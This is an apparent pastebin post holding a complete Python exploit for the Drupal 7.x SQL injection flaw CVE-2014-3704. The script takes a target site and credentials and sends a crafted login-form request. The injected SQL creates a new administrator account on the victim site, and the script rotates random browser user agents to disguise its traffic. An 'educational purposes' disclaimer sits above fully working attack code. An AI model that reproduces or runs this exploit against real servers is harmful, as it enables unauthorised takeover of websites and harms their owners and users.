Untitled


SUBMITTED BY: Guest

DATE: Jan. 1, 2015, 4:14 a.m.

FORMAT: Text only

SIZE: 12.7 kB

HITS: 1661

  1. #!/usr/bin/python
  2. #
  3. #
  4. # Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
  5. # Inspired by yukyuk's P.o.C (https://www.reddit.com/user/fyukyuk)
  6. #
  7. # Tested on Drupal 7.31 with BackBox 3.x
  8. #
  9. # This material is intended for educational
  10. # purposes only and the author can not be held liable for
  11. # any kind of damages done whatsoever to your machine,
  12. # or damages caused by some other,creative application of this material.
  13. # In any case you disagree with the above statement,stop here.
  14. import hashlib, urllib2, optparse, random, sys
  15. # START - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
  16. # Calculate a non-truncated Drupal 7 compatible password hash.
  17. # The consumer of these hashes must truncate correctly.
  18. class DrupalHash:
  19. def __init__(self, stored_hash, password):
  20. self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
  21. self.last_hash = self.rehash(stored_hash, password)
  22. def get_hash(self):
  23. return self.last_hash
  24. def password_get_count_log2(self, setting):
  25. return self.itoa64.index(setting[3])
  26. def password_crypt(self, algo, password, setting):
  27. setting = setting[0:12]
  28. if setting[0] != '$' or setting[2] != '$':
  29. return False
  30. count_log2 = self.password_get_count_log2(setting)
  31. salt = setting[4:12]
  32. if len(salt) < 8:
  33. return False
  34. count = 1 << count_log2
  35. if algo == 'md5':
  36. hash_func = hashlib.md5
  37. elif algo == 'sha512':
  38. hash_func = hashlib.sha512
  39. else:
  40. return False
  41. hash_str = hash_func(salt + password).digest()
  42. for c in range(count):
  43. hash_str = hash_func(hash_str + password).digest()
  44. output = setting + self.custom64(hash_str)
  45. return output
  46. def custom64(self, string, count = 0):
  47. if count == 0:
  48. count = len(string)
  49. output = ''
  50. i = 0
  51. itoa64 = self.itoa64
  52. while 1:
  53. value = ord(string[i])
  54. i += 1
  55. output += itoa64[value & 0x3f]
  56. if i < count:
  57. value |= ord(string[i]) << 8
  58. output += itoa64[(value >> 6) & 0x3f]
  59. if i >= count:
  60. break
  61. i += 1
  62. if i < count:
  63. value |= ord(string[i]) << 16
  64. output += itoa64[(value >> 12) & 0x3f]
  65. if i >= count:
  66. break
  67. i += 1
  68. output += itoa64[(value >> 18) & 0x3f]
  69. if i >= count:
  70. break
  71. return output
  72. def rehash(self, stored_hash, password):
  73. # Drupal 6 compatibility
  74. if len(stored_hash) == 32 and stored_hash.find('$') == -1:
  75. return hashlib.md5(password).hexdigest()
  76. # Drupal 7
  77. if stored_hash[0:2] == 'U$':
  78. stored_hash = stored_hash[1:]
  79. password = hashlib.md5(password).hexdigest()
  80. hash_type = stored_hash[0:3]
  81. if hash_type == '$S$':
  82. hash_str = self.password_crypt('sha512', password, stored_hash)
  83. elif hash_type == '$H$' or hash_type == '$P$':
  84. hash_str = self.password_crypt('md5', password, stored_hash)
  85. else:
  86. hash_str = False
  87. return hash_str
  88. # END - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
  89. def randomAgentGen():
  90. userAgent = ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  91. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  92. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4',
  93. 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  94. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  95. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  96. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0',
  97. 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  98. 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
  99. 'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
  100. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  101. 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
  102. 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  103. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  104. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10',
  105. 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0',
  106. 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53',
  107. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9',
  108. 'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
  109. 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53',
  110. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
  111. 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
  112. 'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0',
  113. 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  114. 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  115. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
  116. 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  117. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  118. 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53',
  119. 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  120. 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  121. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  122. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36',
  123. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0',
  124. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3',
  125. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36']
  126. UA = random.choice(userAgent)
  127. return UA
  128. def urldrupal(url):
  129. if url[:8] != "https://" and url[:7] != "http://":
  130. print('[X] You must insert http:// or https:// procotol')
  131. sys.exit(1)
  132. # Page login
  133. url = url+'/?q=node&destination=node'
  134. return url
  135. banner = """
  136. ______ __ _______ _______ _____
  137. | _ \ .----.--.--.-----.---.-| | | _ || _ | _ |
  138. |. | \| _| | | _ | _ | | |___| _|___| |.| |
  139. |. | |__| |_____| __|___._|__| / |___(__ `-|. |
  140. |: 1 / |__| | | |: 1 | |: |
  141. |::.. . / | | |::.. . | |::.|
  142. `------' `---' `-------' `---'
  143. _______ __ ___ __ __ __
  144. | _ .-----| | | .-----|__.-----.----| |_|__.-----.-----.
  145. | 1___| _ | | |. | | | -__| __| _| | _ | |
  146. |____ |__ |__| |. |__|__| |_____|____|____|__|_____|__|__|
  147. |: 1 | |__| |: | |___|
  148. |::.. . | |::.|
  149. `-------' `---'
  150. Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
  151. Admin 4cc0unt cr3at0r
  152. Discovered by:
  153. Stefan Horst
  154. (CVE-2014-3704)
  155. Written by:
  156. Claudio Viviani
  157. http://www.homelab.it
  158. info@homelab.it
  159. homelabit@protonmail.ch
  160. https://www.facebook.com/homelabit
  161. https://twitter.com/homelabit
  162. https://plus.google.com/+HomelabIt1/
  163. https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  164. """
  165. commandList = optparse.OptionParser('usage: %prog -t http[s]://TARGET_URL -u USER -p PASS\n')
  166. commandList.add_option('-t', '--target',
  167. action="store",
  168. help="Insert URL: http[s]://www.victim.com",
  169. )
  170. commandList.add_option('-u', '--username',
  171. action="store",
  172. help="Insert username",
  173. )
  174. commandList.add_option('-p', '--pwd',
  175. action="store",
  176. help="Insert password",
  177. )
  178. options, remainder = commandList.parse_args()
  179. # Check args
  180. if not options.target or not options.username or not options.pwd:
  181. print(banner)
  182. print
  183. commandList.print_help()
  184. sys.exit(1)
  185. print(banner)
  186. host = options.target
  187. user = options.username
  188. password = options.pwd
  189. hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
  190. target = urldrupal(host)
  191. # Add new user:
  192. # insert into users (status, uid, name, pass) SELECT 1, MAX(uid)+1, 'admin', '$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' FROM users
  193. #
  194. # Set administrator permission (rid = 3):
  195. # insert into users_roles (uid, rid) VALUES ((SELECT uid FROM users WHERE name = 'admin'), 3)
  196. #
  197. post_data = "name[0%20;insert+into+users+(status,+uid,+name,+pass)+SELECT+1,+MAX(uid)%2B1,+%27"+user+"%27,+%27"+hash[:55]+"%27+FROM+users;insert+into+users_roles+(uid,+rid)+VALUES+((SELECT+uid+FROM+users+WHERE+name+%3d+%27"+user+"%27),+3);;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"
  198. UA = randomAgentGen()
  199. try:
  200. req = urllib2.Request(target, post_data, headers={ 'User-Agent': UA })
  201. content = urllib2.urlopen(req).read()
  202. if "mb_strlen() expects parameter 1" in content:
  203. print "[!] VULNERABLE!"
  204. print
  205. print "[!] Administrator user created!"
  206. print
  207. print "[*] Login: "+str(user)
  208. print "[*] Pass: "+str(password)
  209. print "[*] Url: "+str(target)
  210. else:
  211. print "[X] NOT Vulnerable :("
  212. except urllib2.HTTPError as e:
  213. print "[X] HTTP Error: "+str(e.reason)+" ("+str(e.code)+")"
  214. except urllib2.URLError as e:
  215. print "[X] Connection error: "+str(e.reason)

comments powered by Disqus